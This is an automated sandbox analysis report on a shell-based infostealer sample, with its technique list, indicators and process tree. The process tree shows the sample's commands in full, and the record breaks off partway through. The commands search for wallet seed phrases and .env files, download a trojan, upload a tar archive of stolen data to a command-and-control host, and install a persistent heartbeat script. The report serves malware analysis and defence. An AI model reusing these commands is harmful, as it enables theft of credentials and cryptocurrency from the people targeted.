407156dcc6b97cb70efde9994f8e6ff8cfd2c9cd7e4f3d179f39edacd4d557d5

Analysis

max time kernel
150s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
01/09/2026, 14:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ps_Q4huLTcs.ps1.sh
Size 86KB
Sample260901-r8bz7seq4z
SHA256 407156dcc6b97cb70efde9994f8e6ff8cfd2c9cd7e4f3d179f39edacd4d557d5
MD5 c191c6039e73f9f6e57051264ae7fb23
SHA1 752cafabe6f2eec44b3db0dd4444da19ef85ab5e
SHA512 089c659713cf2cda8e72fc4d1879700e5669e1d35e1d6b848a00f2de5032ee182c6fa6376f1f960bbacb85a25fd2d759d73a08331add32537ff7ec6f0ef975a7
SSDEEP 1536:bHcJIqBIhAYRfLSnn8Tn5p8IVPywGvuKJAJnKj+8XPwszJIPU+xW8u:bHjQKbBsIVQvPAJKi8XPwsOP0
TLSH
T1EE833BB5F5A894B132CE9239AA8491107993367F99142C34B0DDEE8C1F6F438D2BE375
MD5 SHA1 SHA512 SSDEEP TLSH

Score

7^/10

defense_evasion discovery execution privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
989	chmod
1056	chmod
1295	chmod
1325	chmod

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 4 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
1309	sudo
1312	sudo
1315	sudo
1419	curl

Enumerates running processes
Discovers information about currently running processes on the system

Deobfuscate/Decode Files or Information 1 TTPs 64 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
1113	base64
1277	base64
1563	base64
1745	base64
2082	base64
1022	base64
1251	base64
1888	base64
1905	base64
1567	base64
1643	base64
1123	base64
1270	base64
1501	base64
1722	base64
1773	base64
1867	base64
1990	base64
2060	base64
1127	base64
1188	base64
1193	base64
1238	base64
1284	base64
1389	base64
1603	base64
1757	base64
1213	base64
1475	base64
1504	base64
1546	base64
1741	base64
1821	base64
1885	base64
1148	base64
1179	base64
1216	base64
1622	base64
1704	base64
1852	base64
2108	base64
1261	base64
1731	base64
1003	base64
1204	base64
1382	base64
1693	base64
1736	base64
1781	base64
1999	base64
2010	base64
1169	base64
1362	base64
1836	base64
1876	base64
1103	base64
1321	base64
1463	base64
1086	base64
1161	base64
1580	base64
2029	base64
1028	base64
1175	base64

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
956	ps

Reads CPU attributes 1 TTPs 64 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Command and Scripting Interpreter: Unix Shell 1 TTPs 1 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
974	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/2/status	pkill
File opened for reading	/proc/8/status	pgrep
File opened for reading	/proc/710/cmdline	pgrep
File opened for reading	/proc/712/status	pgrep
File opened for reading	/proc/385/status	pgrep
File opened for reading	/proc/75/cmdline	pgrep
File opened for reading	/proc/sys/kernel/osrelease	pgrep
File opened for reading	/proc/332/cmdline	pgrep
File opened for reading	/proc/22/status	pgrep
File opened for reading	/proc/36/cmdline	pgrep
File opened for reading	/proc/16/status	pgrep
File opened for reading	/proc/80/cmdline	pgrep
File opened for reading	/proc/73/status	pgrep
File opened for reading	/proc/242/status	pgrep
File opened for reading	/proc/381/cmdline	pgrep
File opened for reading	/proc/677/cmdline	ps
File opened for reading	/proc/325/status	pgrep
File opened for reading	/proc/19/cmdline	pgrep
File opened for reading	/proc/17/cmdline	pgrep
File opened for reading	/proc/678/cmdline	ps
File opened for reading	/proc/123/status	pgrep
File opened for reading	/proc/1/cmdline	pgrep
File opened for reading	/proc/678/status	pgrep
File opened for reading	/proc/70/status	pgrep
File opened for reading	/proc/2/cmdline	pgrep
File opened for reading	/proc/710/cmdline	pgrep
File opened for reading	/proc/20/status	pgrep
File opened for reading	/proc/filesystems	pgrep
File opened for reading	/proc/3/status	pgrep
File opened for reading	/proc/331/status	pgrep
File opened for reading	/proc/701/status	pgrep
File opened for reading	/proc/11/cmdline	pgrep
File opened for reading	/proc/sys/kernel/osrelease	pgrep
File opened for reading	/proc/16/cmdline	pgrep
File opened for reading	/proc/123/status	pgrep
File opened for reading	/proc/709/stat	killall
File opened for reading	/proc/670/cmdline	pgrep
File opened for reading	/proc/5/status	pgrep
File opened for reading	/proc/710/cmdline	pgrep
File opened for reading	/proc/21/cmdline	pgrep
File opened for reading	/proc/708/cmdline	pgrep
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/332/status	pgrep
File opened for reading	/proc/sys/kernel/osrelease	pgrep
File opened for reading	/proc/17/status	pgrep
File opened for reading	/proc/224/status	pgrep
File opened for reading	/proc/712/cmdline	pgrep
File opened for reading	/proc/714/status	pgrep
File opened for reading	/proc/23/status	pgrep
File opened for reading	/proc/335/status	pgrep
File opened for reading	/proc/22/stat	killall
File opened for reading	/proc/332/status	pgrep
File opened for reading	/proc/808/status	pgrep
File opened for reading	/proc/72/status	pgrep
File opened for reading	/proc/70/cmdline	pgrep
File opened for reading	/proc/36/cmdline	pgrep
File opened for reading	/proc/124/status	ps
File opened for reading	/proc/712/status	pgrep
File opened for reading	/proc/4/status	pgrep
File opened for reading	/proc/23/cmdline	pgrep
File opened for reading	/proc/174/status	pgrep
File opened for reading	/proc/6/status	pgrep
File opened for reading	/proc/174/status	pgrep
File opened for reading	/proc/75/status	pgrep

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
974	sh
975	gzip
980	curl
1355	curl
1410	pgrep
1413	rm

Writes file to tmp directory 26 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/sh-thd.G8zleT	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.clipmon_ps_Q4huLTcs.ps1.swift	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/system/resolv.conf	cp
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/system/arp_cache.txt	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/system/processes.txt	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/sh-thd.F80rmR	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/sh-thd.nqo1rR	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/hardware.txt	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/software.txt	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/system/net_services.txt	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/meta.json	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/com.apple.softwareupdate.plist	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.cmd_agent_ps_Q4huLTcs.ps1.sh	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/sh-thd.wCJEbq	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/seeds/seed_files_list.txt	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/system/hosts.txt	cp
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/system/apps_system.txt	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/system/apps_detail.txt	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/sh-thd.mbBDNu	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.cmd_agent_ps_Q4huLTcs.ps1.log	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/sysinfo.txt	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/host.txt	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/network.txt	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/system/hostname.txt	cp
File opened for modification	/tmp/.oao_ps_Q4huLTcs.ps1/system/apps_user.txt	ps_Q4huLTcs.ps1.sh
File opened for modification	/tmp/.oao_out_ps_Q4huLTcs.ps1.tar.gz	tar

/tmp/ps_Q4huLTcs.ps1.sh
/tmp/ps_Q4huLTcs.ps1.sh
1⤵
- Writes file to tmp directory
PID:712
- /bin/date
  date "+%s"
  2⤵
  PID:719
- /bin/date
  date "+%s"
  2⤵
  PID:721
- /bin/sed
  sed "s/, gave up.*//"
  2⤵
  PID:730
- /bin/sed
  sed "s/.*text returned://"
  2⤵
  PID:729
- /usr/bin/tr
  tr -d "\\r"
  2⤵
  PID:731
- /usr/bin/pgrep
  pgrep -i "Google Chrome"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:734
- /usr/bin/pgrep
  pgrep -i "Google Chrome Beta"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:738
- /usr/bin/pgrep
  pgrep -i "Google Chrome Canary"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:741
- /usr/bin/pgrep
  pgrep -i "Google Chrome Dev"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:744
- /usr/bin/pgrep
  pgrep -i "Microsoft Edge"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:745
- /usr/bin/pgrep
  pgrep -i "Microsoft Edge Beta"
  2⤵
  - Reads CPU attributes
  PID:748
- /usr/bin/pgrep
  pgrep -i "Microsoft Edge Dev"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:749
- /usr/bin/pgrep
  pgrep -i "Microsoft Edge Canary"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:751
- /usr/bin/pgrep
  pgrep -i "Brave Browser"
  2⤵
  - Reads CPU attributes
  PID:754
- /usr/bin/pgrep
  pgrep -i "Brave Browser Beta"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:755
- /usr/bin/pgrep
  pgrep -i "Brave Browser Nightly"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:757
- /usr/bin/pgrep
  pgrep -i Vivaldi
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:758
- /usr/bin/pgrep
  pgrep -i Vivaldi-Snapshot
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:759
- /usr/bin/pgrep
  pgrep -i Yandex
  2⤵
  - Reads CPU attributes
  PID:761
- /usr/bin/pgrep
  pgrep -i YandexBrowser
  2⤵
  - Reads CPU attributes
  PID:762
- /usr/bin/pgrep
  pgrep -i Opera
  2⤵
  - Reads CPU attributes
  PID:763
- /usr/bin/pgrep
  pgrep -i OperaGX
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:764
- /usr/bin/pgrep
  pgrep -i "Opera Developer"
  2⤵
  - Reads CPU attributes
  PID:765
- /usr/bin/pgrep
  pgrep -i Chromium
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:766
- /usr/bin/pgrep
  pgrep -i firefox
  2⤵
  - Reads CPU attributes
  PID:767
- /usr/bin/pgrep
  pgrep -i firefox-bin
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:768
- /usr/bin/pgrep
  pgrep -i Nightly
  2⤵
  - Reads CPU attributes
  PID:769
- /usr/bin/pgrep
  pgrep -i TorBrowser
  2⤵
  - Reads CPU attributes
  PID:770
- /usr/bin/pgrep
  pgrep -i Tor
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:771
- /bin/sleep
  sleep 3
  2⤵
  PID:773
- /usr/bin/pgrep
  pgrep -i "Google Chrome"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:792
- /usr/bin/pgrep
  pgrep -i "Microsoft Edge"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:794
- /usr/bin/pgrep
  pgrep -i "Brave Browser"
  2⤵
  - Reads CPU attributes
  PID:796
- /bin/sleep
  sleep 1
  2⤵
  PID:798
- /usr/bin/find
  find "/Library/Application Support" -maxdepth 5 "(" -name "Singleton*" -o -name lockfile ")" -delete
  2⤵
  PID:814
- /usr/bin/whoami
  whoami
  2⤵
  PID:817
- /bin/hostname
  hostname
  2⤵
  PID:818
- /usr/bin/curl
  curl -s -G https://c2.cryptobwh.icu/api/clickfix-callback --data-urlencode "bid=ps_Q4huLTcs.ps1" --data-urlencode "password=" --data-urlencode "user=root" --data-urlencode "host=debian9-mipsbe-20260513-en-4"
  2⤵
  PID:819
- /bin/date
  date "+%s"
  2⤵
  PID:820
- /bin/mkdir
  mkdir -p /tmp/.oao_ps_Q4huLTcs.ps1
  2⤵
  PID:822
- /bin/uname
  uname -a
  2⤵
  PID:824
- /bin/date
  date "+%s"
  2⤵
  PID:825
- /bin/date
  date "+%s"
  2⤵
  PID:826
- /bin/date
  date "+%s"
  2⤵
  PID:829
- /bin/date
  date "+%s"
  2⤵
  PID:833
- /bin/mkdir
  mkdir -p /tmp/.oao_ps_Q4huLTcs.ps1/seeds
  2⤵
  PID:834
- /usr/bin/find
  find -maxdepth 8 "(" -iname seed.txt -o -iname seed_phrase.txt -o -iname mnemonic.txt -o -iname recovery.txt -o -iname recovery_phrase.txt -o -iname backup.txt -o -iname backup_phrase.txt -o -iname wallet.txt -o -iname wallet_backup.txt -o -iname paperwallet.txt -o -iname private.txt -o -iname 24words.txt -o -iname 12words.txt ")" -not -path "*/Library/Caches/*" -not -path "*/node_modules/*" -not -path "*/.git/*" -not -path "*/venv/*"
  2⤵
  PID:835
- /usr/bin/find
  find -maxdepth 5 -name ".env*" -not -path "*/node_modules/*"
  2⤵
  PID:837
- /bin/date
  date "+%s"
  2⤵
  PID:839
- /bin/date
  date "+%s"
  2⤵
  PID:840
- /usr/bin/pgrep
  pgrep -i "Google Chrome"
  2⤵
  - Reads CPU attributes
  PID:841
- /usr/bin/pgrep
  pgrep -i "Google Chrome Beta"
  2⤵
  - Reads CPU attributes
  PID:842
- /usr/bin/pgrep
  pgrep -i "Google Chrome Canary"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:844
- /usr/bin/pgrep
  pgrep -i "Google Chrome Dev"
  2⤵
  - Reads runtime system information
  PID:845
- /usr/bin/pgrep
  pgrep -i "Microsoft Edge"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:846
- /usr/bin/pgrep
  pgrep -i "Microsoft Edge Beta"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:847
- /usr/bin/pgrep
  pgrep -i "Microsoft Edge Dev"
  2⤵
  - Reads CPU attributes
  PID:848
- /usr/bin/pgrep
  pgrep -i "Microsoft Edge Canary"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:849
- /usr/bin/pgrep
  pgrep -i "Brave Browser"
  2⤵
  - Reads CPU attributes
  PID:850
- /usr/bin/pgrep
  pgrep -i "Brave Browser Beta"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:851
- /usr/bin/pgrep
  pgrep -i "Brave Browser Nightly"
  2⤵
  - Reads CPU attributes
  PID:852
- /usr/bin/pgrep
  pgrep -i Vivaldi
  2⤵
  - Reads CPU attributes
  PID:853
- /usr/bin/pgrep
  pgrep -i Vivaldi-Snapshot
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:854
- /usr/bin/pgrep
  pgrep -i Yandex
  2⤵
  - Reads CPU attributes
  PID:855
- /usr/bin/pgrep
  pgrep -i YandexBrowser
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:856
- /usr/bin/pgrep
  pgrep -i Opera
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:857
- /usr/bin/pgrep
  pgrep -i OperaGX
  2⤵
  - Reads CPU attributes
  PID:858
- /usr/bin/pgrep
  pgrep -i "Opera Developer"
  2⤵
  - Reads CPU attributes
  PID:859
- /usr/bin/pgrep
  pgrep -i Chromium
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:860
- /usr/bin/pgrep
  pgrep -i firefox
  2⤵
  - Reads CPU attributes
  PID:861
- /usr/bin/pgrep
  pgrep -i firefox-bin
  2⤵
  - Reads CPU attributes
  PID:862
- /usr/bin/pgrep
  pgrep -i Nightly
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:863
- /usr/bin/pgrep
  pgrep -i TorBrowser
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:864
- /usr/bin/pgrep
  pgrep -i Tor
  2⤵
  - Reads runtime system information
  PID:865
- /bin/sleep
  sleep 3
  2⤵
  PID:867
- /usr/bin/pgrep
  pgrep -i "Google Chrome"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:894
- /bin/sleep
  sleep 1
  2⤵
  PID:895
- /usr/bin/find
  find "/Library/Application Support" -maxdepth 5 "(" -name "Singleton*" -o -name lockfile ")" -delete
  2⤵
  PID:900
- /bin/date
  date "+%s"
  2⤵
  PID:901
- /bin/date
  date "+%s"
  2⤵
  PID:902
- /bin/date
  date "+%s"
  2⤵
  PID:903
- /usr/bin/curl
  curl -s http://127.0.0.1:9222/json/version
  2⤵
  PID:904
- /usr/bin/curl
  curl -s http://127.0.0.1:9333/json/version
  2⤵
  PID:905
- /bin/date
  date "+%s"
  2⤵
  PID:906
- /usr/bin/basename
  basename "/tmp/.oao_ps_Q4huLTcs.ps1/browsers/*/"
  2⤵
  PID:907
- /bin/date
  date "+%s"
  2⤵
  PID:908
- /usr/bin/basename
  basename "/Library/Application Support/Dolphin Anty"
  2⤵
  PID:910
- /usr/bin/tr
  tr " " _
  2⤵
  PID:911
- /usr/bin/tr
  tr "[:upper:]" "[:lower:]"
  2⤵
  PID:912
- /usr/bin/basename
  basename "/Library/Application Support/Octo"
  2⤵
  PID:914
- /usr/bin/tr
  tr " " _
  2⤵
  PID:915
- /usr/bin/tr
  tr "[:upper:]" "[:lower:]"
  2⤵
  PID:916
- /usr/bin/tr
  tr " " _
  2⤵
  PID:919
- /usr/bin/basename
  basename "/Library/Application Support/Indigo"
  2⤵
  PID:918
- /usr/bin/tr
  tr "[:upper:]" "[:lower:]"
  2⤵
  PID:920
- /usr/bin/tr
  tr " " _
  2⤵
  PID:923
- /usr/bin/tr
  tr "[:upper:]" "[:lower:]"
  2⤵
  PID:924
- /usr/bin/basename
  basename "/Library/Application Support/GoLogin"
  2⤵
  PID:922
- /usr/bin/tr
  tr " " _
  2⤵
  PID:927
- /usr/bin/basename
  basename "/Library/Application Support/AdsPower Global"
  2⤵
  PID:926
- /usr/bin/tr
  tr "[:upper:]" "[:lower:]"
  2⤵
  PID:928
- /usr/bin/tr
  tr "[:upper:]" "[:lower:]"
  2⤵
  PID:932
- /usr/bin/tr
  tr " " _
  2⤵
  PID:931
- /usr/bin/basename
  basename "/Library/Application Support/AdsPower"
  2⤵
  PID:930
- /usr/bin/tr
  tr " " _
  2⤵
  PID:935
- /usr/bin/basename
  basename "/Library/Application Support/Hideaway"
  2⤵
  PID:934
- /usr/bin/tr
  tr "[:upper:]" "[:lower:]"
  2⤵
  PID:936
- /bin/date
  date "+%s"
  2⤵
  PID:937
- /bin/date
  date "+%s"
  2⤵
  PID:938
- /usr/bin/killall
  killall -9 "Google Chrome"
  2⤵
  - Reads runtime system information
  PID:942
- /usr/bin/killall
  killall -9 "Google Chrome"
  2⤵
  PID:943
- /bin/sleep
  sleep 0.5
  2⤵
  PID:944
- /bin/mkdir
  mkdir -p /tmp/.oao_ps_Q4huLTcs.ps1/shell
  2⤵
  PID:945
- /bin/mkdir
  mkdir -p /tmp/.oao_ps_Q4huLTcs.ps1/system
  2⤵
  PID:946
- /bin/cp
  cp /etc/hosts /tmp/.oao_ps_Q4huLTcs.ps1/system/hosts.txt
  2⤵
  - Writes file to tmp directory
  PID:947
- /bin/cp
  cp /etc/resolv.conf /tmp/.oao_ps_Q4huLTcs.ps1/system/resolv.conf
  2⤵
  - Writes file to tmp directory
  PID:948
- /bin/cp
  cp /etc/hostname /tmp/.oao_ps_Q4huLTcs.ps1/system/hostname.txt
  2⤵
  - Writes file to tmp directory
  PID:949
- /bin/ls
  ls /Applications/
  2⤵
  PID:950
- /bin/ls
  ls /Applications/
  2⤵
  PID:951
- /usr/bin/timeout
  timeout 3 arp -a
  2⤵
  PID:954
- - /usr/local/sbin/arp
    arp -a
    3⤵
    PID:955
- - /usr/local/bin/arp
    arp -a
    3⤵
    PID:955
- - /usr/sbin/arp
    arp -a
    3⤵
    PID:955
- - /usr/bin/arp
    arp -a
    3⤵
    PID:955
- - /sbin/arp
    arp -a
    3⤵
    PID:955
- - /bin/arp
    arp -a
    3⤵
    PID:955
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:956
- /bin/date
  date "+%s"
  2⤵
  PID:957
- /usr/bin/curl
  curl -sSfL https://c2.cryptobwh.icu/api/payload/trojan/ps_Q4huLTcs.ps1 -o /tmp/.oao_trojan_ps_Q4huLTcs.ps1.sh
  2⤵
  PID:958
- /bin/mkdir
  mkdir -p /tmp/.oao_ps_Q4huLTcs.ps1/seeds
  2⤵
  PID:960
- /bin/date
  date "+%s"
  2⤵
  PID:961
- /usr/bin/pgrep
  pgrep -i "Ledger Live"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:962
- /usr/bin/pgrep
  pgrep -i "Ledger Wallet"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:963
- /usr/bin/pgrep
  pgrep -i "Trezor Suite"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:964
- /bin/date
  date "+%s"
  2⤵
  PID:965
- /bin/date
  date
  2⤵
  PID:966
- /bin/ls
  ls "/tmp/.oao_ps_Q4huLTcs.ps1/discord_*"
  2⤵
  PID:967
- /bin/cat
  cat
  2⤵
  PID:969
- /usr/bin/curl
  curl -s -G https://c2.cryptobwh.icu/api/clickfix/summary --data-urlencode "bid=ps_Q4huLTcs.ps1" --data-urlencode "summary=browsers=0|cookies=0|wallets=0|telegram=0|discord=0|ssh=0|vpn=0|keychain=0|notes=0|cards=0" --data-urlencode "user=root" --data-urlencode "host=debian9-mipsbe-20260513-en-4"
  2⤵
  PID:970
- /bin/date
  date "+%s"
  2⤵
  PID:971
- /bin/cp
  cp /Library/Caches/.oao_timing_ps_Q4huLTcs.ps1.log /tmp/.oao_ps_Q4huLTcs.ps1/timing.txt
  2⤵
  PID:972
- /bin/tar
  tar czf /tmp/.oao_out_ps_Q4huLTcs.ps1.tar.gz -C /tmp/.oao_ps_Q4huLTcs.ps1 .
  2⤵
  - Writes file to tmp directory
  PID:973
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:974
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:975
- /usr/bin/stat
  stat "-f%z" /tmp/.oao_out_ps_Q4huLTcs.ps1.tar.gz
  2⤵
  PID:978
- /usr/bin/stat
  stat "-c%s" /tmp/.oao_out_ps_Q4huLTcs.ps1.tar.gz
  2⤵
  PID:979
- /usr/bin/curl
  curl -s -X POST https://c2.cryptobwh.icu/api/upload -F "file=@/tmp/.oao_out_ps_Q4huLTcs.ps1.tar.gz;filename=oao_ps_Q4huLTcs.ps1_root.tar.gz" -F "bid=ps_Q4huLTcs.ps1" -F "user=root" -F "host=debian9-mipsbe-20260513-en-4" -F "size=2079"
  2⤵
  - System Network Configuration Discovery
  PID:980
- /bin/date
  date "+%s"
  2⤵
  PID:982
- /bin/mkdir
  mkdir -p /Library/.c2 /Library/LaunchAgents
  2⤵
  PID:983
- /usr/bin/curl
  curl -sSfL --max-time 15 https://c2.cryptobwh.icu/static/heartbeat.sh -o /Library/.c2/heartbeat.sh
  2⤵
  PID:984
- /bin/chmod
  chmod +x /Library/.c2/heartbeat.sh
  2⤵
  - File and Directory Permissions Modification
  PID:989
- /bin/sed
  sed -i "s/ps_Q4huLTcs.ps1/ps_Q4huLTcs.ps1/g; s|https://c2.cryptobwh.icu|https://c2.cryptobwh.icu|g" /Library/.c2/heartbeat.sh
  2⤵
  PID:990
- /bin/cat
  cat
  2⤵
  PID:991
- /bin/chmod
  chmod 644 /Library/LaunchAgents/com.apple.heartbeat.plist
  2⤵
  PID:992
- /bin/sleep
  sleep 2
  2⤵
  PID:995
- /usr/bin/pgrep
  pgrep -f heartbeat.sh
  2⤵
  - Reads CPU attributes
  PID:996
- /bin/rm
  rm -f /tmp/.oao_full_ps_Q4huLTcs.ps1.sh
  2⤵
  PID:998
- /usr/bin/nohup
  nohup bash /Library/.c2/heartbeat.sh
  2⤵
  PID:997
- /usr/local/sbin/bash
  bash /Library/.c2/heartbeat.sh
  2⤵
  PID:997
- /usr/local/bin/bash
  bash /Library/.c2/heartbeat.sh
  2⤵
  PID:997
- /usr/sbin/bash
  bash /Library/.c2/heartbeat.sh
  2⤵
  PID:997
- /usr/bin/bash
  bash /Library/.c2/heartbeat.sh
  2⤵
  PID:997
- /sbin/bash
  bash /Library/.c2/heartbeat.sh
  2⤵
  PID:997
- /bin/bash
  bash /Library/.c2/heartbeat.sh
  2⤵
  PID:997
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:1003
- - /usr/bin/base64
    base64 -d
    3⤵
    PID:1007
- - /usr/bin/dirname
    dirname /Library/.c2/hb.log
    3⤵
    PID:1008
- - /bin/mkdir
    mkdir -p /Library/.c2
    3⤵
